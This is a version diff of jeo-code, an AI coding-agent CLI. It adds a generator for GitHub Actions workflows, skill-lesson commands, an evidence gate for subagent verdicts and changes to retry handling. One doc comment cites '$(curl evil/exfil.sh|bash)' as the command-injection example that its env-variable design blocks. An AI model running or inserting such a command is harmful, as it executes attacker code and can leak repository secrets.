jeo-code 0.8.22 → 0.8.24

package/src/commands/routine.ts

@@ -0,0 +1,249 @@
+/**
+ * `jeo routine init` — generate a GitHub Actions workflow that runs
+ * `jeo "<prompt>" -p` headlessly on a schedule or repo event.
+ *
+ * This is the SCOPED-SAFE take on "Routines": jeo-code itself never runs a
+ * scheduler, listens on a port, or accepts a webhook — it's a pure template
+ * generator. GitHub's own hosted runners do the actual triggering/running,
+ * which achieves "runs without your laptop" with zero new attack surface
+ * inside jeo-code's own process. See ../util/routine-template.ts for the
+ * pure YAML-building logic this command wraps with flag parsing + I/O.
+ */
+import * as fs from "node:fs/promises";
+import * as path from "node:path";
+import { renderRoutineWorkflow, validateCron, type RoutineConfig, type RoutineTrigger } from "../util/routine-template";
+import { slugify } from "../agent/memory-okf";
+
+const TRIGGERS: readonly RoutineTrigger[] = ["schedule", "issues", "pull_request"];
+function isTrigger(val: string | undefined): val is RoutineTrigger {
+  return val !== undefined && (TRIGGERS as readonly string[]).includes(val);
+}
+
+const VALUE_FLAGS: Record<string, true> = { "--name": true, "--trigger": true, "--cron": true, "--prompt": true, "--api-key-env": true, "--out": true };
+
+interface ParsedInit {
+  name: string;
+  triggerRaw?: string;
+  cron?: string;
+  prompt?: string;
+  apiKeyEnvVar: string;
+  openPr: boolean;
+  out?: string;
+  force: boolean;
+  dryRun: boolean;
+  json: boolean;
+  help: boolean;
+  /** Parse-level problems: unknown flags, or a value-flag given with no value. */
+  errors: string[];
+}
+
+/** `--flag value` or `--flag=value`, matching launch/flags.ts's takeValue shape
+ *  (a bare value-flag followed by another `-`-prefixed token is treated as
+ *  missing, not as accidentally swallowing the next flag). */
+function takeValue(args: string[], index: number, flag: string): { value?: string; nextIndex: number } {
+  const current = args[index]!;
+  const inline = `${flag}=`;
+  if (current.startsWith(inline)) return { value: current.slice(inline.length), nextIndex: index };
+  const next = args[index + 1];
+  if (next !== undefined && !next.startsWith("-")) return { value: next, nextIndex: index + 1 };
+  return { nextIndex: index };
+}
+
+function parseInitArgs(args: string[]): ParsedInit {
+  const parsed: ParsedInit = {
+    name: "jeo routine",
+    apiKeyEnvVar: "ANTHROPIC_API_KEY",
+    openPr: true,
+    force: false,
+    dryRun: false,
+    json: false,
+    help: false,
+    errors: [],
+  };
+
+  for (let i = 0; i < args.length; i++) {
+    const a = args[i]!;
+    const flag = a.includes("=") ? a.slice(0, a.indexOf("=")) : a;
+
+    if (flag === "-h" || flag === "--help") { parsed.help = true; continue; }
+    if (flag === "--no-pr") { parsed.openPr = false; continue; }
+    if (flag === "--force") { parsed.force = true; continue; }
+    if (flag === "--dry-run") { parsed.dryRun = true; continue; }
+    if (flag === "--json") { parsed.json = true; continue; }
+
+    if (VALUE_FLAGS[flag]) {
+      const { value, nextIndex } = takeValue(args, i, flag);
+      i = nextIndex;
+      if (value === undefined) {
+        parsed.errors.push(`${flag} requires a value`);
+        continue;
+      }
+      switch (flag) {
+        case "--name": parsed.name = value; break;
+        case "--trigger": parsed.triggerRaw = value; break;
+        case "--cron": parsed.cron = value; break;
+        case "--prompt": parsed.prompt = value; break;
+        case "--api-key-env": parsed.apiKeyEnvVar = value; break;
+        case "--out": parsed.out = value; break;
+      }
+      continue;
+    }
+
+    parsed.errors.push(`Unknown flag: ${a}`);
+  }
+
+  return parsed;
+}
+
+function printUsage(): void {
+  console.log("Usage: jeo routine init [options]");
+  console.log("");
+  console.log('Generate a GitHub Actions workflow that runs `jeo "<prompt>" -p` headlessly');
+  console.log("on a schedule or repo event. GitHub's own hosted runners do the triggering —");
+  console.log("jeo-code never runs a scheduler or listens on a port for this.");
+  console.log("");
+  console.log("Options:");
+  console.log("  --trigger <schedule|issues|pull_request>  Required. What fires the routine.");
+  console.log("  --prompt <text>            Required. The task/goal text passed to `jeo -p`.");
+  console.log('  --cron <expr>              Required when --trigger schedule (e.g. "0 7 * * *").');
+  console.log('  --name <name>              Workflow display name. Default: "jeo routine".');
+  console.log("  --api-key-env <VAR_NAME>   Secret env var name. Default: ANTHROPIC_API_KEY.");
+  console.log("  --no-pr                    Commit directly to the branch instead of opening a PR.");
+  console.log("  --out <path>               Output path. Default: .github/workflows/jeo-routine-<slug>.yml");
+  console.log("  --force                    Overwrite an existing file at --out.");
+  console.log("  --dry-run                  Print the rendered YAML instead of writing it.");
+  console.log("  --json                     Machine-readable output.");
+  console.log("  -h, --help                 Show this help message.");
+}
+
+async function runInit(args: string[]): Promise<void> {
+  const parsed = parseInitArgs(args);
+
+  if (parsed.errors.length > 0) {
+    for (const e of parsed.errors) console.log(`Error: ${e}`);
+    printUsage();
+    process.exitCode = 1;
+    return;
+  }
+
+  if (parsed.help) {
+    printUsage();
+    return;
+  }
+
+  const problems: string[] = [];
+  if (!isTrigger(parsed.triggerRaw)) {
+    problems.push(
+      parsed.triggerRaw
+        ? `--trigger must be one of: schedule, issues, pull_request (got '${parsed.triggerRaw}')`
+        : "--trigger is required (one of: schedule, issues, pull_request)",
+    );
+  }
+  if (!parsed.prompt) {
+    problems.push("--prompt is required");
+  }
+  const trigger = isTrigger(parsed.triggerRaw) ? parsed.triggerRaw : undefined;
+  if (trigger === "schedule") {
+    if (!parsed.cron) {
+      problems.push("--cron is required when --trigger schedule");
+    } else if (!validateCron(parsed.cron)) {
+      problems.push(`--cron '${parsed.cron}' does not look like a valid 5-field cron expression`);
+    }
+  }
+
+  if (problems.length > 0) {
+    for (const p of problems) console.log(`Error: ${p}`);
+    printUsage();
+    process.exitCode = 1;
+    return;
+  }
+
+  const config: RoutineConfig = {
+    name: parsed.name,
+    trigger: trigger!,
+    cron: parsed.cron,
+    prompt: parsed.prompt!,
+    apiKeyEnvVar: parsed.apiKeyEnvVar,
+    openPr: parsed.openPr,
+  };
+
+  let yaml: string;
+  try {
+    yaml = renderRoutineWorkflow(config);
+  } catch (err) {
+    const msg = err instanceof Error ? err.message : String(err);
+    if (parsed.json) console.log(JSON.stringify({ error: msg }));
+    else console.log(`Error: ${msg}`);
+    process.exitCode = 1;
+    return;
+  }
+
+  const outPath = parsed.out ?? path.join(".github", "workflows", `jeo-routine-${slugify(parsed.name)}.yml`);
+  const resolvedOut = path.resolve(process.cwd(), outPath);
+
+  if (parsed.dryRun) {
+    if (parsed.json) console.log(JSON.stringify({ dryRun: true, out: resolvedOut, yaml }, null, 2));
+    else console.log(yaml);
+    return;
+  }
+
+  let exists = true;
+  try {
+    await fs.access(resolvedOut);
+  } catch {
+    exists = false;
+  }
+  if (exists && !parsed.force) {
+    const msg = `${resolvedOut} already exists. Use --force to overwrite.`;
+    if (parsed.json) console.log(JSON.stringify({ error: msg }));
+    else console.log(`Error: ${msg}`);
+    process.exitCode = 1;
+    return;
+  }
+
+  await fs.mkdir(path.dirname(resolvedOut), { recursive: true });
+  // Atomic write: build the file fully off to the side, then rename into
+  // place, so a crash mid-write never leaves a truncated workflow file.
+  const tmpPath = `${resolvedOut}.tmp-${process.pid}`;
+  await fs.writeFile(tmpPath, yaml, "utf-8");
+  await fs.rename(tmpPath, resolvedOut);
+
+  if (parsed.json) {
+    console.log(JSON.stringify({ wrote: resolvedOut, trigger, apiKeyEnvVar: parsed.apiKeyEnvVar, openPr: parsed.openPr }, null, 2));
+    return;
+  }
+
+  console.log(`Wrote ${resolvedOut}`);
+  console.log("");
+  console.log("Next steps:");
+  console.log(`  - Add '${parsed.apiKeyEnvVar}' as a repo secret: Settings -> Secrets and variables -> Actions.`);
+  if (trigger === "schedule") {
+    console.log("  - Scheduled workflows only run on the repo's default branch, and GitHub may");
+    console.log("    delay or skip scheduled runs on low-activity repos — this is documented");
+    console.log("    GitHub Actions behavior, not a bug in the generated workflow.");
+  }
+  console.log(`  - Commit and push ${resolvedOut} to enable it.`);
+}
+
+export async function runRoutineCommand(args: string[]): Promise<void> {
+  const sub = args[0];
+
+  if (sub === "-h" || sub === "--help") {
+    printUsage();
+    return;
+  }
+
+  if (sub === undefined) {
+    printUsage();
+    process.exitCode = 1;
+    return;
+  }
+
+  if (sub !== "init") {
+    console.log(`Unknown 'jeo routine' subcommand '${sub}'. Usage: jeo routine init [options]`);
+    process.exitCode = 1;
+    return;
+  }
+
+  await runInit(args.slice(1));
+}

package/src/commands/skills.ts

@@ -2,6 +2,7 @@ import * as fs from "node:fs/promises";
 import * as path from "node:path";
 import { SKILLS, getSkillFrom, formatSkill, loadSkills, skillDirs, bundledSkillFileContent, userSkillsDir } from "../skills/catalog";
 import { getLocalJeoDir } from "../agent/state";
+import { appendSkillLesson, evalSkillLessons, type SkillLesson } from "../agent/skill-lessons";
 
 export { userSkillsDir };
 
@@ -147,6 +148,62 @@ export async function runSkillsCommand(args: string[] = []): Promise<void> {
     return;
   }
 
+  // `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` — manual
+  // lesson entry into the project-level skill file (the same compounding write the
+  // launch.ts stall-guard fires automatically; lets an agent or human record one directly).
+  if (cleanArgs[0] === "lesson") {
+    const [, skillName, kindArg, title, detail] = cleanArgs;
+    if (!skillName || !kindArg || !title || !detail) {
+      console.log('Usage: jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"');
+      process.exitCode = 1;
+      return;
+    }
+    const kind: SkillLesson["kind"] | null =
+      kindArg === "failure" ? "failure-mode" : kindArg === "anti-pattern" ? "anti-pattern" : null;
+    if (!kind) {
+      console.log(`Error: kind must be 'failure' or 'anti-pattern' (got '${kindArg}').`);
+      process.exitCode = 1;
+      return;
+    }
+    const result = await appendSkillLesson(cwd, { skill: skillName, kind, title, detail });
+    if (isJson) {
+      console.log(JSON.stringify(result, null, 2));
+    } else if (result.appended) {
+      console.log("Appended.");
+    } else if (result.reason === "duplicate") {
+      console.log("Already recorded (duplicate).");
+    } else {
+      console.log(`Error: ${result.reason ?? "unknown error"}`);
+      process.exitCode = 1;
+    }
+    return;
+  }
+
+  // `jeo skills eval <skill>` — self-eval half: judge whether recorded lessons are
+  // still covered by the skill's current guidance, or have gone stale.
+  if (cleanArgs[0] === "eval") {
+    const skillName = cleanArgs[1];
+    if (!skillName) {
+      console.log("Error: Missing skill name for 'eval' command.");
+      process.exitCode = 1;
+      return;
+    }
+    const result = await evalSkillLessons(cwd, skillName);
+    if (result === null) {
+      console.log(`No recorded lessons for '${skillName}' yet.`);
+      return;
+    }
+    if (isJson) {
+      console.log(JSON.stringify(result, null, 2));
+    } else {
+      console.log(`${result.covered}/${result.total} lessons still covered by current guidance.`);
+      for (const s of result.stale) {
+        console.log(`  STALE  ${s.title}: ${s.reason}`);
+      }
+    }
+    return;
+  }
+
   // List/lookup over the MERGED set (bundled + ~/.jeo/skills + ~/.agents/skills + project dirs), matching the REPL /skill.
   const skills = await loadSkills(cwd);
   const command = cleanArgs[0];

package/src/commands/team.ts

@@ -519,6 +519,25 @@ function evaluateSubagentResult(
     return false;
   }
 
+  // Evidence gate (UNCONDITIONAL — same tier as parseRoleGateVerdict, never
+  // softened by --strict-mutations): an architect/critic verdict is worthless
+  // if the subagent never actually looked at anything. Mirrors goal-verifier.ts's
+  // applyEvidenceGate philosophy applied to the OTHER independent-verifier gate
+  // in this codebase — a formatted "Architectural Status: CLEAR" or "[OKAY]"
+  // first line is text the model can emit with ZERO real inspection; only an
+  // OBSERVED read/search/find/ast_grep/lsp call in this run counts as evidence
+  // the verdict is grounded in the actual repository state, not the model's own
+  // unverified assertion (2026 pattern: "avoid vibes verification — a claim is
+  // only trustworthy when backed by a programmatic, observed signal").
+  if ((role.id === "architect" || role.id === "critic") && result.readOnlyEvidenceCalls === 0) {
+    log(formatRalphStreamEvent(
+      "error",
+      `${role.title} returned a verdict with ZERO observed read/search/find/ast_grep/lsp calls — an unevidenced verdict is not trustworthy regardless of what the text claims. Blocking.`,
+      renderOpts,
+    ));
+    return false;
+  }
+
   // Round-8: a mutating role finished without a successful file mutation — the
   // task may be legitimately read-only, but its "Changed Files:" claim is
   // unverified. bash is tracked apart: an only-bash run MIGHT have mutated.

package/src/util/provider-error.ts

@@ -117,6 +117,21 @@ export function friendlyProviderError(err: unknown): string {
   if (status === 401 || status === 403 || /\b40[13]\b/.test(msg)) {
     return `${provider} rejected the credential (HTTP ${status ?? "401/403"}). Run 'jeo auth status', re-login with /provider login <name>, and for Antigravity prefer '/provider login antigravity' (gemini login only works when the Cloud Code Assist backend authorizes that token).`;
   }
+  // A persistent 5xx (server-side fault on the provider's backend) — `ProviderHttpError`
+  // already embeds the numeric status directly in its message ("… failed (HTTP 500) …",
+  // caught here too, redundantly but harmlessly), but `ProviderStreamError` (the in-band
+  // SSE/stream error shape — antigravity.ts/gemini.ts's `google.rpc.Status` and
+  // openai-responses.ts's `response.failed`/`error` events) composes its `.message` from
+  // a STRING status code only ("Antigravity stream failed (INTERNAL): internal error"),
+  // never the numeric one, even though `.status` carries it correctly (explicitStatus
+  // for antigravity/gemini's google.rpc.Status `error.code`; the 500 default for
+  // openai-responses's non-rate_limit_exceeded codes). Without a digit anywhere in the
+  // text, launch.ts's `routeFailureReason` `/\b(?:500|502|503|504|529)\b/` text regex
+  // never matched, so the equivalent-pool fallback never fired for a stream-shaped 5xx
+  // even with a credentialed same-tier fallback sitting right there.
+  if (status !== undefined && status >= 500 && status < 600) {
+    return `${provider} hit a persistent server-side error (HTTP ${status}) — ${msg}. The provider's backend itself is failing; switch model with /model or wait and retry.`;
+  }
   if ((err instanceof Error && err.name === "TimeoutError") || /the operation timed out/i.test(msg)) {
     return `${provider} did not complete the request within the call timeout (default 30min). This is expected for a HIGH/XHIGH-reasoning-effort completion that legitimately runs long on a hard problem — raise JEO_CALL_TIMEOUT_MS (ms) if this recurs, or lower the thinking level with /model.`;
   }

package/src/util/retry.ts

@@ -5,8 +5,16 @@ export interface RetryOptions {
   isRetryable?: (err: unknown, attempt: number) => boolean;
   sleep?: (ms: number) => Promise<void>;   // injectable for tests (default real setTimeout)
   random?: () => number;   // injectable RNG for jitter (default Math.random); equal-jitter in [0.5x, 1x]
-  /** Notified before each backoff wait; `delayMs` is the wait actually applied. */
-  onRetry?: (attempt: number, err: unknown, delayMs: number) => void;
+  /** Notified before each backoff wait; `delayMs` is the wait actually applied.
+   *  Returning `false` (explicitly) aborts the retry ladder immediately — the
+   *  pending error is thrown right away instead of sleeping and re-attempting.
+   *  Lets a caller with a same-tier FALLBACK model available bail out of a
+   *  same-model rate-limit retry loop early rather than riding the full
+   *  `rateLimitRetries` budget (up to ~90s of escalating backoff) before the
+   *  turn-level equivalent-pool fallback ever gets a chance to switch models.
+   *  Any other return value (including `undefined`, the common case) continues
+   *  the retry ladder unchanged. */
+  onRetry?: (attempt: number, err: unknown, delayMs: number) => void | false;
   /** Aborts an in-progress backoff wait (e.g. Ctrl-C / turn cancel). Already-aborted or
    *  aborted-mid-wait rejects immediately instead of completing the sleep — the escape hatch
    *  for a long, honored provider `Retry-After` (see `rateLimitMaxServerDelayMs`: those are no
@@ -200,8 +208,11 @@ export async function withRetry<T>(fn: () => Promise<T>, opts?: RetryOptions): P
         : 0;
       const delay = Math.max(base, floor);
 
-      if (onRetry) {
-        onRetry(attempt, err, delay);
+      // A `false` return from onRetry means the caller wants to bail NOW instead of
+      // sleeping and re-attempting (see RetryOptions.onRetry's doc comment) — throw
+      // the pending error immediately rather than entering the backoff wait.
+      if (onRetry && onRetry(attempt, err, delay) === false) {
+        throw err;
       }
 
       await abortableSleep(sleep, delay, signal);

package/src/util/routine-template.ts

@@ -0,0 +1,206 @@
+/**
+ * Pure GitHub Actions workflow YAML builder for `jeo routine init` (see
+ * ../commands/routine.ts). No I/O here — the command layer owns reading
+ * flags, resolving --out, and writing to disk; this module only turns a
+ * {@link RoutineConfig} into a workflow document string, which keeps it
+ * trivially unit-testable without touching the filesystem.
+ *
+ * Routines are the "scoped-safe" version of scheduled/triggered automation:
+ * jeo-code itself never runs a scheduler, listens on a port, or accepts a
+ * webhook — GitHub's own hosted runners do the triggering, and the generated
+ * workflow just installs jeo-code and runs `jeo "<prompt>" -p` (the existing
+ * headless one-shot mode, see launch/flags.ts) on their infrastructure. This
+ * is how the workflow "runs without your laptop" with zero new attack
+ * surface inside jeo-code's own process.
+ */
+
+export type RoutineTrigger = "schedule" | "issues" | "pull_request";
+
+export interface RoutineConfig {
+  /** Workflow display name, e.g. "jeo nightly triage". */
+  name: string;
+  /** Which GitHub event fires the routine. */
+  trigger: RoutineTrigger;
+  /** Cron expression, REQUIRED when trigger === "schedule" (e.g. "0 7 * * *"). Ignored otherwise. */
+  cron?: string;
+  /** The natural-language task/goal text passed to `jeo "<prompt>" -p`. */
+  prompt: string;
+  /** Anthropic/OpenAI/etc — which env var the workflow expects as a repo secret. Default "ANTHROPIC_API_KEY". */
+  apiKeyEnvVar?: string;
+  /** true = the workflow opens a PR with any changes (safe default); false = commits directly to the CURRENT branch. Default true. */
+  openPr?: boolean;
+}
+
+/** Build the `on:` block for `config.trigger`. `workflow_dispatch` is always
+ *  included alongside the primary trigger so a human can manually run the
+ *  routine on demand (e.g. to test it) regardless of what fires it
+ *  automatically. Throws when `trigger === "schedule"` and no cron was given
+ *  — a missing cron on a schedule trigger is a caller contract violation, so
+ *  this fails loud instead of emitting a broken/empty schedule block. */
+function renderTriggerBlock(config: RoutineConfig): string {
+  switch (config.trigger) {
+    case "schedule": {
+      if (!config.cron) {
+        throw new Error("renderRoutineWorkflow: config.cron is required when trigger is 'schedule'.");
+      }
+      const cron = config.cron.replace(/'/g, "''");
+      return [
+        "on:",
+        "  schedule:",
+        `    - cron: '${cron}'`,
+        "  workflow_dispatch: {}",
+      ].join("\n");
+    }
+    case "issues":
+      return [
+        "on:",
+        "  issues:",
+        "    types: [opened, labeled]",
+        "  workflow_dispatch: {}",
+      ].join("\n");
+    case "pull_request":
+      return [
+        "on:",
+        "  pull_request:",
+        "    types: [opened, synchronize]",
+        "  workflow_dispatch: {}",
+      ].join("\n");
+    default: {
+      // Exhaustiveness guard: a new RoutineTrigger member without a case
+      // above fails typecheck here rather than silently falling through.
+      const exhaustive: never = config.trigger;
+      throw new Error(`renderRoutineWorkflow: unknown trigger '${String(exhaustive)}'.`);
+    }
+  }
+}
+
+/** Build the step that runs `jeo "$JEO_ROUTINE_PROMPT" -p` headlessly. The
+ *  prompt is passed through an `env:` var and referenced (never inlined
+ *  directly into the shell script text) — GitHub's own Actions-hardening
+ *  guidance: a `run:` script is executed by bash, and bash performs
+ *  `$(...)`/backtick command substitution on ANY text inside a double-quoted
+ *  string, INCLUDING one built via naive string interpolation of a value the
+ *  workflow author doesn't fully control (a copy-pasted prompt, or one later
+ *  templated from untrusted input like an issue body). Routing the value
+ *  through `env:` means bash expands `$JEO_ROUTINE_PROMPT` as inert DATA —
+ *  its contents are never re-parsed as shell syntax, so an embedded
+ *  `$(curl evil/exfil.sh|bash)` cannot execute even though this step's
+ *  `env:` block also carries the API-key secret. */
+function renderJeoRunStep(config: RoutineConfig, apiKeyVar: string): string {
+  return [
+    "      - name: Run jeo (headless)",
+    '        run: jeo "$JEO_ROUTINE_PROMPT" -p',
+    "        env:",
+    `          ${apiKeyVar}: \${{ secrets.${apiKeyVar} }}`,
+    "          JEO_ROUTINE_PROMPT: " + JSON.stringify(config.prompt),
+  ].join("\n");
+}
+
+/** `openPr !== false` path: open (or update) a PR with whatever changes the
+ *  jeo step made, instead of committing straight to the triggering branch.
+ *  create-pull-request is a documented no-op when the working tree is clean
+ *  after the previous step, so this is safe to run unconditionally — no
+ *  diff-check step needed before it. */
+function renderOpenPrStep(config: RoutineConfig): string {
+  const commitMessage = `jeo routine: ${config.name}`;
+  return [
+    "      # peter-evans/create-pull-request no-ops when there's nothing to commit",
+    "      # (clean working tree after the jeo step above) — safe to run every time.",
+    "      - name: Open PR with any changes",
+    "        uses: peter-evans/create-pull-request@v6",
+    "        with:",
+    "          branch: jeo-routine/${{ github.run_id }}",
+    `          commit-message: ${JSON.stringify(commitMessage)}`,
+    `          title: ${JSON.stringify(commitMessage)}`,
+    `          body: ${JSON.stringify(`Automated changes from the "${config.name}" jeo routine.`)}`,
+  ].join("\n");
+}
+
+/** `openPr === false` path: commit any changes straight to the branch the
+ *  workflow ran on. The `git diff --staged --quiet ||` short-circuit makes
+ *  an empty diff a silent no-op instead of a failing `git commit` (nothing
+ *  to commit exits non-zero on a clean tree). */
+function renderDirectCommitSteps(config: RoutineConfig): string {
+  const commitMessage = `jeo routine: ${config.name}`;
+  return [
+    "      - name: Configure git identity",
+    "        run: |",
+    '          git config user.name "github-actions[bot]"',
+    '          git config user.email "github-actions[bot]@users.noreply.github.com"',
+    "",
+    "      - name: Commit any changes directly to this branch",
+    "        run: |",
+    "          git add -A",
+    `          git diff --staged --quiet || (git commit -m ${JSON.stringify(commitMessage)} && git push)`,
+  ].join("\n");
+}
+
+/**
+ * Render a complete GitHub Actions workflow YAML document that runs
+ * `jeo "<prompt>" -p` headlessly on GitHub's hosted runners, triggered by
+ * `config.trigger` (plus an always-present `workflow_dispatch` for manual
+ * runs). No YAML library is used — the shape is fixed and simple enough to
+ * hand-build as a string, matching this repo's zero-dependency policy.
+ *
+ * Throws if `config.trigger === "schedule"` and `config.cron` is missing
+ * (see {@link renderTriggerBlock}); does not otherwise validate cron syntax
+ * — that is {@link validateCron}'s job, run by the command layer before this
+ * is ever called.
+ */
+export function renderRoutineWorkflow(config: RoutineConfig): string {
+  const triggerBlock = renderTriggerBlock(config); // throws first on schedule+no cron
+  const apiKeyVar = config.apiKeyEnvVar ?? "ANTHROPIC_API_KEY";
+  const openPr = config.openPr !== false;
+  const quotedName = `'${config.name.replace(/'/g, "''")}'`;
+
+  const lines: string[] = [
+    "# Generated by `jeo routine init` (see `jeo routine init --help`).",
+    "# Safe to hand-edit afterward — `jeo routine init` will refuse to",
+    "# overwrite this file again without --force.",
+    `name: ${quotedName}`,
+    "",
+    triggerBlock,
+    "",
+    "permissions:",
+    "  contents: write",
+    "  pull-requests: write",
+    "",
+    "jobs:",
+    "  jeo-routine:",
+    "    runs-on: ubuntu-latest",
+    "    steps:",
+    "      - name: Checkout",
+    "        uses: actions/checkout@v4",
+    "        with:",
+    "          fetch-depth: 0",
+    "",
+    "      - name: Setup Bun",
+    "        uses: oven-sh/setup-bun@v2",
+    "        with:",
+    '          bun-version: "1.3.14"',
+    "",
+    "      - name: Install jeo-code",
+    "        run: bun install -g jeo-code",
+    "",
+    renderJeoRunStep(config, apiKeyVar),
+    "",
+    openPr ? renderOpenPrStep(config) : renderDirectCommitSteps(config),
+    "",
+  ];
+  return lines.join("\n");
+}
+
+/**
+ * Lightweight cron sanity check: exactly 5 whitespace-separated fields, each
+ * matching a permissive `*` or `[0-9,-/]+` shape. NOT a full cron-grammar
+ * validator (it doesn't understand step-value combos like "star-slash-15",
+ * months/weekdays, or range bounds) — just enough to catch an obviously
+ * malformed string (wrong field count, stray letters/words) before it
+ * reaches GitHub's own (stricter) parser at workflow-run time. Used by the
+ * command layer; {@link renderRoutineWorkflow} does not re-validate syntax.
+ */
+export function validateCron(cron: string): boolean {
+  const fields = cron.trim().split(/\s+/);
+  if (fields.length !== 5) return false;
+  return fields.every(f => /^([*]|[0-9,\-\/]+)$/.test(f));
+}